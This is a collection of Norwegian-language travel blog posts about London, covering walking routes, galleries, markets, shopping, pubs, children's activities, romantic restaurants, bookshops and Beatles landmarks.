bruker i British Museum\n\nCharing Cross Tube, 5 min gange til\u00a0**The National Gallery, Trafalgar Square**. 5 min nedover Whitehall til\u00a0**Horseguards**,\u00a0**10 Downing Street og The Cabinet Waar Rooms**. 10 min over St.James Park til St.James Palace, Green Park Tube. Beregn 3-4 timer.\n\nWestminster Tube,\u00a0**House of Parliament, Westminster Abbey.**\u00a010 min gange langs elva til\u00a0**Tate Britain**, Pimlico Tube. Beregn 2 timer.\n\nHigh St Kensington tube, 10 mins walk to\u00a0**Kensington Palace, Kensington Gardens,**\u00a015 minute walk to\u00a0**Notting Hill**, 10 minute walk to**Portobello Road market**\u00a0Notting Hill Gate tube.\u00a0L\u00f8rdagstur \u2013 3 hours  \nOld St or Liverpool St tube, 15 min walk/or by bus to**\u00a0Geffrye Museum**\u00a010 minute walk to**\u00a0Colombia Road Flower Market**, 10 minute walk to**Brick Lane, then to Spitalfields Market**, Liverpool St tube (on Sundays, 11:00-1500, including lunch)  \nSouth Kensington tube, 5 minute walk down tunnel to\u00a0**Natural History Museum, Science Museum, Victoria And Albert Museum,**\u00a010 minute walk to\u00a0**Harrods.**\u00a0Knightsbridge tube (for a rainy day)  \nQueensway or Bayswater tube, hire**\u00a0Skates on Queensway, skate down to Albert Memorial,**\u00a0and thence to\u00a0**Kensington Palace**\u00a0and back to Queensway, exploring the park. Circuit.  \nOxford Circus tube,\u00a0**Oxford Street**\u00a0(west half of),\u00a0**St. Christopher's Place, Wallace collection, Bond Street, Burlington Arcade, Royal Academy. Green park tube.**  \nWaterloo station/tube,\u00a0**London Eye, River walk, Oxo tower, Tate Modern, Shakespeare's Globe, London Bridge**\u00a0station/tube. 3 hours.  \n**ANBEFALES:\u00a0**Tower Hill DLR (Dockland Light Railway) station/Bank tube, Island gardens DLR station, 10 minutes walk under the foot tunnel,**Cutty Sark, Greenwich market, Naval Academy**, 10 mins walk to the**\u00a0Queen's House, Royal Observatory**, 15 mins back to\u00a0**Greenwich Pier**\u00a0\u2013 boat back to Tower Hill \u2013 4 hours.  \nMonument tube, Monument, 5 mins to\u00a0**Leadenhall Market & Lloyd's Building**, 10 mins walk to\u00a0**Tower of London**, Tower Hill tube. (3 -4 hours)  \nMansion House tube, Mansion House, 10 mins walk to\u00a0**Guildhall Art gallery**, walk round back of Guildhall up the walkways through the Barbican,**\u00a0Museum of London**, 10 mins walk to\u00a0**St Paul's Cathedral,**\u00a0St Paul's tube. 4 hours.  \nLeicester Square tube,\u00a0**Leicester Square, Wardour St**, walk through\u00a0**Chinatown**\u00a0to Charing Cross Rd, north to Cambridge Circus, along Old Compton St and Brewer Street through Soho, tO**Piccadilly Circus**, up Regent Street to Liberties, turn right to Carnaby Street, Piccadilly Circus/Oxford Circus tube. (1-2 hours)\n\nby email@example.com - 27. november 2015\n\n## Kunstgallerier i London\n\nHayward Galery.  \nBelvedere Road, SE1  \nT-bane: Charing Cross eller Embankment  \nEt av Londons beste gallerier for b\u00e5de moderne og eldre kunst.\n\nTate Modern.  \nBankside SE1  \nT-bane: Southwalk  \nGalleriet ligger i en ombygget kraftstasjon. Museet er et must, og du b\u00f8r ikke g\u00e5 glipp av dette.\n\nDesign Museum  \n28 Shad Thames, SE1  \nT-bane: Bermondsey, Tower Hill eller London Bridge.  \nMuseum for moderne design, som ogs\u00e5 viser design av tv-apparater, telefoner og m\u00f8bler. Museet er nesten overfylt av gjenstander, men det er alltid interessant \u00e5 vandre her.\n\nSerpentine Gallery  \nKensington Garden, W2 3XA  \nLigger i tilknytning til Hyde Park, og er en fin avslutn ing p\u00e5 en tur i parken. Lite og intimt museeum og viser spennende utstillinger av moderne kunst.\n\nWhite Cube.  \n44 Duke Street, Mayfair W1  \nT-bane: Green Park eller Piccadilly Circus  \nEt galleri som gjenspeiler 90-tallets brit-art b\u00f8lge.\n\nWhite Cube  \n48 Hoxton Square, Hoxton N1  \nT-bane: Old Street  \nEr du p\u00e5 shopping i Covent Garden kan det v\u00e6re godt med en pust i bakken p\u00e5 dette galleriet. Ofte fotoutstillinger. Sv\u00e6rt hyggelig kafe.\n\n\u00a0\n\nBarbican Centre.  \nSilk Street, EC2  \nT-bane: Barbican eller Moorgate  \nHar en veldig spessiell atmosf\u00e6re og er absolutt verdt ett bes\u00f8k.\n\nSir John Soanes Museum  \n13 Lincolns Inn Fields WC2  \nT-bane: Holborn  \nDette er hjemmet til den engelske arkitekten John Soane som levde p\u00e5 f\u00f8rste halvdel av 1800-tallet. Han var storsamler av kunst og bisarre greier. Hele huset har en mystisk stemning med hemmelige rom og trapper.\n\nICA Gallery  \nThe Mall, SW1  \nT-bane: Piccadilly Circus eller Charing Cross.  \nHar ofte utstilling av ukjente kunstnere som senere har blitt ber\u00f8mt.\n\nWhitechapel Art Gallery  \n80-82 Whitechapel High Street.  \nT-bane: Aldgate East  \nLondons mest interessante galleri for moderne og provoserende kunst og foto\n\nGeffrey Museum  \nKingsland Road, E2  \nT-bane: Old Street eller Liverpool Street.  \nSpennende interi\u00f8r- og m\u00f8belmuseum som viser interi\u00f8r fra 1500-tallet og fram til i dag.\n\nMatts Gallery.  \n42-44 Copperfield Road, Mile End E3  \nT-bane: Mile End  \nLondons mest velrenomerte galleri for nyere kunst.\n\n\u00a0\nby firstname.lastname@example.org - 27. november 2015\n\n## Mest for damer i London\n\nCheval Place er en unnselig gatestump i London, der motebevisste kvinner kan gj\u00f8re r\u00f8verkj\u00f8p p\u00e5 nesten nye motekl\u00e6r fra verdens mest ber\u00f8mte designere.\n\nHvis du er motebevisst s\u00e5 vil du bli bortskjemt av utvalget. For topp mote g\u00e5 til Knightsbridge eller Bond street. Det er ikke en eneste st\u00f8rre motedesigner som ikke eier en \u00abflagship shop\u00bb i et av disse omr\u00e5dene; Gucci, Armani, Tommy Hilfiger, Prada, Louis Vuitton, Ralph Lauren, Vivienne Westwood, Versace \u2013 de er alle der. Hvis du foretrekker \u00abstreet fashion\u00bb s\u00e5 pr\u00f8v Covent Garden eller Foubetts Place (bak Carnaby street), der du finner etablerte britiske designere som Paul Smith samt dusinvis av hippe \u00abunge butikker\u00bb som the Duffer of St. George eller Fletcher.\n\nLondon har mange omr\u00e5der son har spesialisert seg innen en genre. Soho for eksempel har en mengde bitte sm\u00e5 butikker som selger mat og delikatesser fra hele verden. Charing Cross Road er kjent for alle sine bokbutikker som enorme Foyles.\n\nIkke glem London's mange markeder n\u00e5r du ser etter noe uvanlig. eller vil pr\u00f8ve \u00e5 gj\u00f8re et kupp.\n\nHvis ikke noe av det overnevnte appellerer kan du alltid pr\u00f8ve Harrods \u2013 de fleste havner der f\u00f8r eller siden.\n\n**Regent Street  \n**Dickins and Jones  \n224 Regent Street  \nMega-shop devoted to fashion and beauty.\n\n**Liberty**  \n0171 734 1234  \nThis faux-tudor store has successfully over-the-top character in its worn oak and starkly modern interiors as well as its goods. Famous for its textiles and fabrics \u2013 a mix of exotic imports and its own rather twee designs \u2013 the store now also has a reputation for stocking the funkiest classiest fashions and accessories in London.\n\n**Picadilly  \n**Sogo  \n7th Floor, Haymarket House, 28 Haymarket SW1.  \nJapanese haven for luxurious brands \u2013 men's and women's wear, gifts and china.\n\nFortnum and Mason  \n0171 734 8040  \n181 Piccadilly  \nStately old store to purr around and buy excellent foodie gifts and life's little essentials like imported teas, chocolates, wines and tinned grouse. Table and clothes collections too.\n\n**Knightsbridge  \n**Peter Jones  \nSloan Square  \nPart of the excellent John Lewis department store chain.\n\nHarrods  \n87 Brompton Road, SW1  \nThis department superstore, certainly the most famous in Britain, maybe the Universe, is breathtakingly extravagant in its flash cash d\u00e9cor and departments stocked with every conceivable luxury. The famous food halls are worth a whirl.\n\nHarvey Nichols  \n109 Knightsbridge SW1  \nHarvey Nicks has evolved from being the store where Sloanes went to have their tiaras polished or to buy a kilt to the most leading edge contemporary fashion store in Britain for men and women. It is now synonymous with style; its directional and it's sexy. The fifth floor combines posh nosh bar and restaurants with a food hall.\n\n\u00a0\n\n**Oxford Street  \n**Selfridges  \nOxford street?s most famous shop is Selfridges, a vast department store near Bond Street tube station. The shop was built in 1909 by the American Gordon Selfridge, and was the biggest shop in Britain.  \nThe shop is so large that a printed floor plan is available near the entrance to help you navigate around.\n\nDJ's whip up the music blasts while the young-at-heart cruise packed rails of inexpensive, fashion-conscious clothes.\n\n\u00a0\nby email@example.com - 27. november 2015\n\n## Aktiviteter for herrer i London\n\n**DEN ULTIMATE OPPLEVELSE FOR\u00a0HERRER**\n\nFra Norge: +44 20 7734 1370\n\nGeo F Trumper er en tradisjonell herre barberer som gir deg en stor opplevelse med v\u00e5rbarbering og skjeggtrimming. Du f\u00e5r ogs\u00e5 tradisjonell h\u00e5rklipp.De har ogs\u00e5 ett eget parfymeri i 1.etasje. Selve barbersalongen ligger i kjelleretasjen. Bygningen ser beskjeden ut fra utsiden, men la deg ikke lure av utseende.  \nSalongen ligger like ved Piccadilly Circus  \nThe St James's Shop  \n20 Jermyn Street  \nLondon SW1Y 6HP  \n\\+44 20 7734 1370\n\nOpen 9am \u2013 5.30pm Mon-Fri and 9am \u2013 5pm Sat  \nDette kan absolutt anbefales og er en stor nytelse\n\n**Ye Olde CheShire Cheese**\n\nYe Olde Cheshire Cheese er en av Londons eldste puber, gjenoppbygd etter brannen i 1666. Den serverer en ber\u00f8mt steak-and-kidney pie. Puben ligger ved Fleet Street.\n\nEn veldig ber\u00f8mt gammel pub som ble  \n\u00abombygget i 1667\u00bb, med en mengde sm\u00e5 barer  \nover kjeller og 3 etasjer.  \nVanskelig \u00e5 finne hvis du ikke er kjent.  \nDen ligger i en smal sidegate til Fleet Street. Sp\u00f8r deg for eller ta en taxi. Museum Ale inneholder 5% alkohol, s\u00e5 v\u00e6r forsiktig\n\nThe City  \n145 Fleet St. EC4, at Wine Office Court  \n0171-353 6170  \nBlackfriar Station, Circle/Disrtict Lines\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Markeder i London\n\n**Camden Market, MIN STORE FAVORITT**  \nLondons mest kjente og popul\u00e6re marked. Nylig stemte vi nordmenn Camden Market som v\u00e5r toppattraksjon i den britiske hovedstaden. Her f\u00e5r du kj\u00f8pt alt fra kl\u00e6r, cd'er og vinyl, etnisk kunst, h\u00e5ndarbeid, tepper og annet krimskrams. Mye skrap, men innimellom kan du gj\u00f8re varp. S\u00e6rlig gother, punkere, fetisjister, og klubbere f\u00f8ler seg hjemme her, og finner mye spennende i bodene og butikkene. Egentlig best\u00e5r det vi kaller Camden Market av flere forskjellige markeder: Camden Stables Market, Camden Lock Market, Camden (Buck Street) Market, Camden Canal Market og Inverness Stree Market.  \nHvor: I omr\u00e5det rundt Camden Lock.  \nTube: Camden Town eller Chalk Far,  \nN\u00e5r: L\u00f8r/s\u00f8n fra ca. 9.30 til 17.00, men noen boder har \u00e5pent hele uken\n\n**Covent Garden**  \nKanskje det mest kommersielle markedet i London, hvor du sv\u00e6rt sjelden gj\u00f8r skikkelige varp. Det er ikke s\u00e5 mange som setter opp boder p\u00e5 dette markedet, men likevel burde du svinge innom dersom du er i omr\u00e5det. Ikke p\u00e5 grunn av markedet, men p\u00e5 grunn av alle de artige gateartistene som opptrer her. For \u00e5 f\u00e5 lov \u00e5 opptre, m\u00e5 artistene gjennom strenge auditions. Ingen panfl\u00f8ytemusikk eller felegnukking akkompagnert av kassettspiller her i g\u00e5rden, nei.  \nHvor: Covent Garden  \nTube: Covent Garden  \nN\u00e5r: Hver dag 10.00 til 18.00\n\n**Borough Market**  \nMarkedet rett ved Bridget Jones leilighet over puben. Hit drar du som er opptatt av gourmetmat og skikkelige r\u00e5varer. Her f\u00e5r du kj\u00f8pt alt fra walisisk ost, hjemmelaget konfekt, vaktelegg, indisk chutney, tysk p\u00f8lse, spansk tapas, villsvinkj\u00f8tt mm. Det er her Jamie Oliver og andre mesterkokker henter sine r\u00e5varer. Og selv om du ikke har noe kj\u00f8kken \u00e5 tilberede godsaker p\u00e5 n\u00e5r du er i London, finner du masse ferdiglaget mat du kan kose deg med p\u00e5 en benk ved Themsen, for eksempel.  \nHvor: Borough High Street, Southwark/The Borough  \nTube: London Bridge  \nN\u00e5r: Kokkene handler her hver morgen fra 04.00 til 08.00. Vanlige folk kommer l\u00f8rdager mellom 10.00 og 16.00\n\n**Brixton Market**  \nElectic Avenue, Station Road, Brixton SW9  \nT-bane: Brixton  \nMandag-tirsdag, torsdag-l\u00f8rdag.  \nDette var tidligere ett omr\u00e5de turister ble advart mot \u00e5 bes\u00f8ke. N\u00e5 er det et hipt boligomr\u00e5de for middelklassen.  \nBrixton har fremdeles mye av sin opprinnelige sjarm og innflytelse fra karibien er sterk. P\u00e5 markedet vil du finne alle slag vestindiske matvarer. Du finner ogs\u00e5 kl\u00e6r, plater og sm\u00e5t ing.\n\nEr du ute etter en spesiell hatt, antikviteter eller tomater, eller n\u00e6r sagt \u2013 hva som helst. Du er nesten sikret \u00e5 finne det p\u00e5 ett av Londons markeder. Det kan v\u00e6re lurt \u00e5 finne ut litt om hvor man f\u00e5r tak i hva f\u00f8r man drar.\n\nby email@example.com - 27. november 2015\n\n## Flere London favoritter\n\n**Et bes\u00f8k i trendige og koselige Notting Hill**  \nP\u00e5 bes\u00f8k i trendige og koselige Notting Hill finner man det ber\u00f8mte Portobello Market. Reiser du hit en l\u00f8rdag ettermiddag, finner du en kaotisk blanding av engelskmenn og turister, og du skal ta deg god tid for \u00e5 komme igjennom markedet. Det kan ogs\u00e5 v\u00e6re en fordel \u00e5 ha god plass i kofferten, for her kommer du tilbake fra med b\u00e5de en og to b\u00e6reposer med ting du ikke hadde planlagt \u00e5 kj\u00f8pe.  \nAbsolutt et must.\n\n**Sprudlende kreativitet i Covent Gardens**  \nVil du se ?street performers? og amat\u00f8r klovner av alle slag, er Covent Garden det rette stedet \\! Her sykles det p\u00e5 enhjulinger og sjongleres med de rareste gjenstander. Her er det liv og r\u00f8re hele dagen. I den litt rare klesbutikken David & Goliath kan man virkelig f\u00e5 seg en latter av t-skjorter med trykk som: \u00abHe still lives with his parents\u00bb med en pil til venstre.\n\n**London er som skapt for barn\\!**  \nScience Museum (Vitenskapsmuseet) har alt for den nysgjerrige. Gratis inngang, men du m\u00e5 betale separat for 3D-kino.\n\nVegg i vegg ligger Natural History Museum som er verdens ledende. Imponerende dinosaur-modeller. Kino. Gratis inngang.\n\nLondon Aquarium. Europas st\u00f8rste med bl.a et imponerende haiakvarium i tre etasjer. Mate-tidene blir annonsert, s\u00e5 du kan v\u00e6re med p\u00e5 \u00e5 mate bl.a. rokkene som kommer opp og \u00abhilser p\u00e5\u00bb \u2013 og det er lov \u00e5 stryke dem. Kle deg lett, for det finnes ikke garderobe. Inngangsbillett.\n\nVegg-i-vegg ligger The London Eye, hjulet som rager 135 m til v\u00e6rs. Bestill billett som du bestiller en kinobillett til et visst klokkeslett p\u00e5 deres nettsider. Turen tar ca 20 minutter og der titter du ned p\u00e5 byen og kan nyte ingeni\u00f8rkunsten i selve hjulet.\n\nLondon Transport Museum \u2013 kanskje mer for gutter. Men her er alt av trikker, busser, tuber og jeg vet ikke hva. Inngangsbillett.\n\nRAF Museum \u2013 nord i byen i Hendon. Lutfartsmuseum med egen barneavdeling. Gratis inngang.\n\nB\u00e5de British Museum, Victoria & Albert Museum og National Gallery har egne aktiviteter for barn \u2013 sjekk nettstedene deres. Gratis inngang.\n\nMen for en 5-\u00e5ring er kanskje det morsomste \u00e5 bare sitte i andreetasjen p\u00e5 en vanlig r\u00f8d dobbeltdekker og se p\u00e5 folkelivet og mylderet? Mine unger blir i hvert fall aldri lei\\!\n\nMuseene \u00e5pner kl. 10.00 og du sparer mye stress ved \u00e5 v\u00e6re morgenfugl, for de er sv\u00e6rt popul\u00e6re og blir travlere og travlere jo lenger utp\u00e5 dagen en kommer. Unng\u00e5 forskjellige Toy Museums \u2013 de er mer for voksne enn for barn.\n\nEn restaurant som alltid er popul\u00e6r for barn er: Rainforest Cafe, 20 Shaftesbury Avenue (www.therainforestcafe.co.uk) som er en jungel og mye artig fra dyrelivet. Ganske turistifisert, men artig for ungene. Egen butikk, s\u00e5 pappa m\u00e5 ta med tykk lommebok\\!\n\n**P\u00e5 romantisk weekend i London**  \nEn av byens beste champagnebarer ligger i 42. etasje over hverdagen: Tower 42, eller Vertigo som den ogs\u00e5 kalles \u2013 med god grunn, 25 Old Broad St. Du m\u00e5 forh\u00e5ndsbestille, for du g\u00e5r gjennom en flyplassjekk f\u00f8r du kommer til heisen. IKKE for den med h\u00f8ydeskrekk\\!\n\nJulie's Restaurant & Bar, 135 Portland Rd. er et sv\u00e6rt romantisk sted med dype farver, kandelabre og den rette intime stemningen. Bestill p\u00e5 forh\u00e5nd, for den er en av byens eldste og beste sjekketriks\\!\n\nRestaurantene i OXO Tower er ikke \u00e5 forakte. Vidunderlig utsikt over Themsen, luftig atmosf\u00e6re og det lille ekstra. Pr\u00f8v brasseriet i stedet for restauranten lengst opp \u2013 halvparten av prisen, samme utsikt.\n\nMomo, bare et stenkast fra travle Regent St, bringer deg inn i 1001 natt. Nordafrikansk kj\u00f8kken og det syder av atmosf\u00e6re. 25 Heddon St (www.momoresto.com)\n\nThe Wolseley, 160 Piccadilly (www.thewolseley.com) er en av byens vakreste restauranter. Den g\u00e5r i svart og krem med en duft av gammel Wiener-restaurant. Uts\u00f8kt meny og service.\n\nFor den eksentriske: Les Trois Garcons, 1 Club Row i Shoreditch. I en meget \u00abhappening\u00bb del av byen. Store lysekroner, mange utstoppede dyr p\u00e5 veggene, lekkert interi\u00f8r, men alts\u00e5: ganske eksentrisk, men meget romantisk.\n\nDu m\u00e5 alltid bestille p\u00e5 forh\u00e5nd. Og si som det er at det er en romantisk date s\u00e5 skj\u00f8nner de at dere ikke skal i budsjettforhandlinger.\n\nMen det mest romantiske i London er gratis: En kveldstur p\u00e5 Waterloo Bridge. Det er den broen der du ser de fleste landemerkene og f\u00f8ler suset av storheten. Varm opp med The Kinks' \u00abWaterloo Sunset\u00bb, Londons uoffisielle nasjonalsang, og bare nyt\\!\n\n**Hvor er de farligste plassene \u00e5 g\u00e5 i London ?**  \nJeg ville ikke ha g\u00e5tt ut alene etter m\u00f8rkets frembrudd i omr\u00e5der av Tottenham eller Edmonton i Nord-London eller i Peckham i \u00d8st-London. Dette er de stedene som er mest plaget av gjengkriminalitet og tilfeldig vold. Ellers er London tryggere enn de fleste storbyer forutsatt at du selv er fornuftig. Bare s\u00e5 det er sagt: tidligere belastede omr\u00e5der som Brixton, Soho og Notting Hill er n\u00e5 sv\u00e6rt trygge.  \nKvinner m\u00e5 aldri ta s\u00e5kalte minicabs alene, hold dere til de vanlige London-drosjene, \u00abblack cabs\u00bb som er sikre og trygge, og ta aldri imot tilbud om skyss p\u00e5 \u00e5pen gate.\n\n**Tips til bruktbutikker i London, mhp vinyl, helst rock, indie**  \nSlike \u00absjapper\u00bb kommer og g\u00e5r. Men de som har best\u00e5tt en stund er tre som ligger etter hverandre i Berwick St i Soho. Mye indie og vinyl. Det samme er med tre som ligger etter hverandre i Notting Hill \u2013 selve gaten Notting Hill rett fra Notting Hill St. \u2013 det er en for rock/indie, en for blues/soul og en for klassisk.  \nOg n\u00e5r det gjelder \u00abindie\u00bb er Rough Trade fremdeles p\u00e5 seierspallen\\!\n\n**Ett siste tips\\!\u00a0**  \nBeveg dere rundt til fots eller med undergrunnen (tube). Rundt Trafalgar finnes masse butikker og Harrods b\u00f8r du ABSOLUTT bes\u00f8ke. Uansett om du er shoppingsugen eller ikke, s\u00e5 er det morro \u00e5 bare g\u00e5 rundt og titte. Salgshallen er enormt stor, og du finner alltid et eller annet du trenger\u2026. \ud83d\ude09\n\nby firstname.lastname@example.org - 27. november 2015\n\n## Beatles i London\n\n**Jostein Pedersen har v\u00e6rt bosatt i London i en \u00e5rrekke og kjenner byen bedre enn de fleste.  \nHan har gitt oss endel gode tips, som vi vil videreformidle til dere framover.**\n\n*En regner med at over 500 000 nordmenn bes\u00f8ker London i \u00e5ret. Mange av dem tar kontakt med meg for \u00e5 f\u00e5 tips om alt fra hvor en f\u00e5r kj\u00f8pt de beste kamelh\u00e5rsfrakkene (Harrods) til Paul McCartneys privataddresse. Det er rett og slett enest\u00e5ende hvor opptatt fok er av Beatles. Her har jeg samlet noen av de viktigste Beatles-addressene i London. Og stakkars Paul med familie b\u00f8r f\u00e5 bo i fred, s\u00e5 den addressen deler jeg ikke ut\\!*\n\n**Trident Studios, 17 St. Ann's Court**  \nHer ble mesteparten av Abbey Road og mye av White Album spilt inn. Grunnen var at de hadde 8-spors utstyr mot Abbey Roads mer kummerlige 4-spor. Ogsa Ringo Starrs Sentimental Journey, George Harrisons All Things Must Pass, Lou Reeds Transformer, David Bowies Hunky Dory, Ziggy Stardust og Aladdin Sane, Genesis' Trespass og Supertramps Crime of the Century er spilt inn her. Studioets gamle piano er legendarisk, det ble nemlig brukt bade pa Hey Jude, Elton Johns Goodbye Yellow Brick Road og Queens Bohemian Rhapsody\\!\n\n**Sutherland House, 5-6 Argyll Street**, vegg-i-vegg med London Palladium Theatre (na hjemmet til Chitty Chitty Bang Bang\\!)  \nHer i 5. etasje la kontorene til Brian Epsteins NEMS (North End Music Stores Enterprises). Der holdt de hus til noen maneder etter Epsteins dod i '67, da de flyttet til 3 Hill Street i Mayfair. Elvis Costellos mor Lillian MacManus arbeidet i NEMS-butikken i Liverpool (plater og noter) og ble butikksjef for plateavdelingen i Selfridges pa Oxford Street.  \nBeatles opptradte pa Palladium i oktober 1963. De var hovedattraksjon i Saturday Night at the London Palladium (legendaisk fjernsynsshow) og dagen etter ble begrepet \u00abBeatlemania\u00bb fodt\\!\n\n**100 Club, 100 Oxford Street**  \nDette er den eneste av de sagnomsuste klubbene som fremdeles eksisterer. Beatles spilte visstnok aldri her, men de var alle flittig besokende. Klubben apnet i 1942 og har alltid hatt en meget apen holdning til alle genre. Deres siste storhetstid var under punkbolgen pa 70-tallet. \u00abAlle\u00bb har spilt her. I dag er det mye folk, heavy og northern soul der \u2013 en salig blanding\\!\n\n**57 Wimpole Street**  \nDa Beatles flyttet \u00abned\u00bb til London i '63 bodde Paul McCartney pa kvistvarelset hjemme hos forloveden Jane Ashers foreldre. Han bodde der i nesten tre ar. Det var her han skrev I Wanna Hold Your Hand tilegnet Jane og Yesterday. Den godeste Paul hadde matvett. Senere ble Jane Asher stor skuespillerinne og kokebokforfatter. I frysedisken i ethvert britisk supermarked finnes frysekaker fra Jane Asher \u2013 sammen med vegetarretter fra Linda McCartney\\! Paul flyttet sent '65 til eget hus i 7 Cavendish Avenue \u2013 i gaavstand til Abbey Road.\n\n**94 Baker Street**, hjornet av Paddington Street  \nHer la den\\! Den fantastiske Apple Boutique som var voldsomt popular i sju fattige maneder fra desember '67 til juni '66. Da matte den stenge pga kaotisk forretningsforsel og darlig ledelse. Na tror jeg det er en eiendomsmegler der. Men i Baker Street far en Sherlock Holmes pa kjopet\\!\n\n**20 Manchester Square**  \nHer holdt EMI til . Mest kjent for omslagene av Please Please Please Me, det rode og bla samlealbumet. Det forste bildet ble tatt i februar '63, det siste i mai '69. Britpop-gruppen Blur brukte noyaktig samme posering i august '95. Samme maned flyttet EMI til Brook Green nar Hammersmith der de fremdeles er.\n\n**34 Montagu Square**  \nEn adresse for feinschmeckere. Her bodde Ringo Starr i kjeller- og forste etasjen. Han kjopte den ' 65, men leide den mye ut. Han giftet seg med Maureen Cox og flyttet pa landet, til herskapshuset Sunny Heights i Weybridge. Paul bodde mye her fra og til og hadde et ministudio i kjelleren. Her ble Eleanor Rigby til. Neste leieboer var Jimi Hendrix og hans manager Chas Chandler. De ble kastet ut etter a ha malt alle rommene svarte\\! I juli '68 flyttet John og Yoko hit etter at John hadde flyttet fra Cynthia og Julian i Weybridge. Omslagsbildet til Two Virgins er tatt her. Det var John og Yokos forste hjem sammen. I oktober samme ar gjennomforte politiet razzia og fant cannabis. John ble domt, en dom som senere skapte problemer da han sokte om amerikansk statsborgerskap. Ringo ble luta lei alle de brakete leieboerne og solgte leiligheten i 1969. Den er na i privat eie hos en mann som er tilsvarende lei allverdens Beatles-tilhengere som foretar pilegrimsferd dit\\!\n\n**Ritz Hotel, 150-153**  \nIkke bare narkafe og stamsted til prins Charles og Camilla Parker Bowles, men hotellet der Paul giftet seg med Linda i mars '69. George var der sammen med sin kone Patti Boyd som han skrev Something til. Senere skulle ogsa Eric Clapton bli forelsket i Patti og skrive Layla til henne. Ellers er hotellet beromt for at Mick Jagger bodde der mens han var i skatteksil fra desember '78 til januar '79. Han skrev Start Me Up der, forste singelen fra Stones' '81-album Tatoo You.\n\n**3 Saville Row**  \nHuset til admiral Lord Nelson og hans elskerinne Lady Hamilton. Mest kjent som hovedkvarteret til Apple Corporation som flyttet dit i '68. Alle fem etasjene var dekket med eplegront vegg-til-veggteppe. Hver eneste millimeter av inngangsdoren var alltid dekket med graffitti og hilsener fra Beatles-tilhengere fra hele verden. Ringo brukte doren pa omslaget av Ringo's Rotogravure (1976). Doren ble byttet ut og visstnok sendt til John og Yoko i New York som hadde den i leiligheten sin i Dakota-bygningen i New York. Den nye doren ble utsatt for samme graffittibehandling helt til Apple flyttet i 1976. Det var ogsa her at Beatles for siste gang spilte for publikum, 30. januar 1969. Det skjedde uannonsert pa taket rundt lunsjtider. Konserten medforte trafikkaos i nabogatene og Royal Bank of Scotland pa andre siden av gaten klagde til politiet. Konserten ble stoppet etter 40 minutter. Den siste Beatles-melodien som ble spilt av Beatles pa konsert ble dermed Get Back. I dag huser bygningen noe sa usexy som bank- og finansfirmaer.\n\n**7 Cavendish Avenue**  \nPaul kjopte huset for \u00a340, 000 i '65 da de andre Beatlene flyttet pa landet. Han eier det fremdeles. Her bodde han sammen med forloveden Jane Asher og skrev bl.a. Sgt Pepper's, Helter Skelter og Penny Lane her. Enkelte sommerkvelder kunne forbipasserende hore Paul synge bak apne vinduer. En gang sang han Blackbird til ventende tilhengere utenfor. Stroket er en av Londons beste og her bor han na med sin nye kone Heather. (Gaavstand til Abbey Road).\n\n**3 Abbey Road**  \nBade studioet og fotgjengerovergangen er en av Storbritannias storste turistattraksjoner\\! Forste gang Beatles var her var 11. september 1962 da de spilte inn Love Me Do. Det hevdes at hele Please Please Me-albumet som ble spilt inn her i sin helhet tok bare 13 timer a spille inn.\n\n**33 Abbey Road, New London Synagogue**  \nLiberal synagoge som har utmerkede musikkbarnehaver\\! Det var her minnestunden over Brian Epstein ble holdt den 17. oktober 1967. Alle fire Beatlene deltok.\n\n**24 Chapel Street, off Belgrave Square**, ikke langt fra Norges ambassade i 25 Belgrave Sq.  \nHer bodde Brian Epstein. Han kjopte huset i desember '64 og ble funnet dod her 27 august '67, bare 32 ar gammel. Tre maneder tidligere holdt han selskap for a feire utgivelsen av Sgt. Pepper's. Det var her det ble alvor mellom Paul og den amerikanske fotografen Linda Eastman som han savidt hadde mott tre kvelder tidligere pa Bag O'Nails Club i Kingley Street.\n\n**1-11 Flood Street, Chelsea Manor Studio**  \nFotostudio, fremdeles i full virksomhet. Her tok de omslagsbildet til Sgt Pepper's 30. mars '67. Det foregikk i studio fire med fotografen Michael Cooper foran den oppsiktsvekkende collagen av Peter Blake.\n\nby email@example.com - 27. november 201527. november 2015\n\n## Bra bokhandlere i London\n\nCharing Cross Road er ikke lenger den bokhandlergaten den engang var. Men Foyles (fem etasjer) i 113-119 Charing Cross Road (www.foyles.co.uk) holder fremdeles koken. Selv om den er stor, merker man en annen atmosf\u00e6re der enn andre steder. Det er ikke mange \u00e5rene sidene de fikk data, f\u00f8r det var det et salig rot. Og betjeningen er dedikerte og ganske s\u00e5 makel\u00f8se i sin fagkunnskap.\n\nBooks for Cooks, 4 Blenheim Crescent, W11 (www.booksforcooks.com) Visstnok verdens eneste spesialbutikk for kokeb\u00f8ker. Bitteliten, overfylt og med eget pr\u00f8vekj\u00f8kken der de pr\u00f8ver ut oppskriftene i sin bittelille kaf\u00e9 med tre bord. Alltid himmelske, livsfarlige kaker\\! Og over gaten:\n\nTravel Bookshop, 13-15 Blenheim Crescent, W11 (www.thetravelbookshop.com) Jepp, det er den der Hugh Grant arbeidet i filmen Notting Hill da han falt pladask for Julia Roberts. En ekte bokhandel faktisk som spesialiserer seg p\u00e5 reiselitteratur.\n\nDaunt Books, 83-84 Marylebone High Street, W1 (www.dauntbooks.co.uk) Et av de lekreste butikklokalene i London ? hyllemetre av b\u00f8ker under nydelig glasstak. Er ogs\u00e5 spesialister i reiselitteratur, men har ogs\u00e5 aktuell skj\u00f8nnlitteratur for hvert land ved siden av reiseb\u00f8kene. Ja, det var der jeg kj\u00f8pte Per Pettersons Out Stealing Horses uten at det hjalp stort p\u00e5 at jeg skj\u00f8nte storheten. Daunt Books har flere filialer med meget god og kunnskapsrik betjening.\n\nStanfords, 12-14 Long Acre, WC2 (www.stanfords.co.uk) Nok en perle for reiselitteratur i tre etasjer midt i Covent Garden. Stor og god kartavdeling.\n\n", "language": "no", "__index_level_0__": "0f7d3945-a831-43f1-a0dd-e007b897253f"}
